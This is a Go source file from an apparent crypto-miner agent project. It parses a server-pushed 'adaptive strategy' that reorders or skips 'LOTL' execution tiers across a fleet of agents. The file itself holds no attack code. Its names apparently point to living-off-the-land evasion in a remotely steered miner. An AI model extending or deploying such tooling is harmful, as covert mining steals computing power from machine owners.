Files
AetherForge/agent/client/strategy_policy.go
AetherForge 5c6913dc5f
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Validate and integrate fleet intelligence features
Fix atlas skip merge under lock, tolerate post-auth WS frames in tests,
and harden test-suite npm invocation on Windows.
2026-06-07 02:49:35 -07:00

60 lines
1.4 KiB
Go

package client
import (
"encoding/json"
"log"
"crypto-miner-agent/miner"
)
type AdaptiveStrategy struct {
TierOrder []string `json:"tier_order"`
SkipTiers []string `json:"skip_tiers,omitempty"`
Reasoning []StrategyReason `json:"reasoning"`
Confidence float64 `json:"confidence"`
UpdatedAt string `json:"updated_at"`
}
type StrategyReason struct {
Fact string `json:"fact"`
Inference string `json:"inference"`
Action string `json:"action"`
}
func (c *AgentClient) applyAdaptiveStrategyJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var s AdaptiveStrategy
if err := json.Unmarshal(raw, &s); err != nil {
return
}
c.mu.Lock()
c.adaptiveStrategy = s
policy := c.tierPolicy
if len(s.TierOrder) > 0 {
order := make([]miner.LOTLTier, len(s.TierOrder))
for i, t := range s.TierOrder {
order[i] = miner.LOTLTier(t)
}
policy.TierOrder = order
}
if len(s.SkipTiers) > 0 {
skip := make([]miner.LOTLTier, len(s.SkipTiers))
for i, t := range s.SkipTiers {
skip[i] = miner.LOTLTier(t)
}
policy.SkipTiers = skip
}
c.tierPolicy = policy
c.mergeAtlasSkipsIntoPolicyLocked()
c.mu.Unlock()
log.Printf("[agent] adaptive strategy applied (%d tiers, confidence=%.2f)", len(s.TierOrder), s.Confidence)
}
func (c *AgentClient) adaptiveStrategySnapshot() AdaptiveStrategy {
c.mu.Lock()
defer c.mu.Unlock()
return c.adaptiveStrategy
}